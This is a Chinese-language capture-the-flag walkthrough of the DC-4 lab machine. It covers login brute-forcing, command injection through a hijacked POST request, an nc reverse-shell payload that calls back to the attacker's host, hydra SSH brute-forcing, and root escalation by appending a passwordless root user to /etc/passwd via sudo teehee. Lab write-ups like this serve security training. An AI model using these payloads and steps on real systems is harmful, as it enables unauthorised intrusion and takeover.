DC-4靶场
信息收集
扫描
-
nmap扫描,发现ip为192.168.137.132,开放端口为22和80
-
先访问80看看,仅有一个登录框。是一个简单页面,使用的框架只有nginx。
-
扫描目录
测试
-
尝试sql注入,未果。
-
尝试爆破,由于第一次爆破时携带了cookie,导致从正确密码开始这个cookie就被记录了,后面的错误密码也可以正常登录,所以正确密码找半天也没找到,然后又删掉cookie字段重新试了一遍,找到正确密码为happy
-
登录跳转command.php
-
劫持List Files请求的数据包,发现发送的为POST请求,请求体为ls -l命令
-
修改命令用于查找flag文件,结果显示如下
You have selected: find / -name *flag* -type f /usr/share/man/nl/man1/dpkg-buildflags.1.gz /usr/share/man/de/man1/dpkg-buildflags.1.gz /usr/share/man/man2/ioctl_iflags.2.gz /usr/share/man/man1/dpkg-buildflags.1.gz /usr/share/dpkg/buildflags.mk /usr/include/linux/tty_flags.h /usr/include/linux/kernel-page-flags.h /usr/include/i386-linux-gnu/asm/processor-flags.h /usr/include/i386-linux-gnu/bits/waitflags.h /usr/bin/dpkg-buildflags /usr/lib/i386-linux-gnu/perl/5.24.1/bits/waitflags.ph /sys/devices/pci0000:00/0000:00:11.0/0000:02:01.0/net/eth0/flags /sys/devices/platform/serial8250/tty/ttyS2/flags /sys/devices/platform/serial8250/tty/ttyS0/flags /sys/devices/platform/serial8250/tty/ttyS3/flags /sys/devices/platform/serial8250/tty/ttyS1/flags /sys/devices/system/cpu/cpu0/microcode/processor_flags /sys/devices/virtual/net/lo/flags /sys/module/scsi_mod/parameters/default_dev_flags /proc/sys/kernel/acpi_video_flags /proc/kpageflags
-
没有找到对的flag文件
getshell
-
通过更改数据包的请求体来执行命令局限性大,且繁琐,通过反弹shell的方式getshell
-
先在kali上监听7777端口,然后修改请求体为
radio=nc+-e+/bin/bash+192.168.137.128+7777&submit=Run
-
查找SUID权限文件
-
虽然发现/home/jim/test.sh的权限为4777,但是该文件属主为jim而非root,所以作用也不大
提权
-
但是在jim的家目录中发现一个old-passwords文件,内容为旧密码字典,可以将其保存用于爆破
-
使用hydra爆破[email protected],得到密码为jibril04
-
ssh登录jim,系统提示有一封邮件,查看邮件获得Charles用户的密码为^xHhA&hvim0y
-
再使用charles用户登录,注意c为小写
-
查看可以无密码sudo执行的命令,根据帮助信息发现teehee是将标准输入复制到执行文件中,其中-a选项是将内容追加到文件中。并显示标准输出
-
所以可以通过向/etc/passwd文件中加一个无密码的root权限用户,然后su到该用户从而提权
echo "jeery::0:0:root::/bin/bash" | sudo teehee -a /etc/passwd # 登录用户名:密码:用户UID:组ID:备注:$HOME目录位置:用户默认shell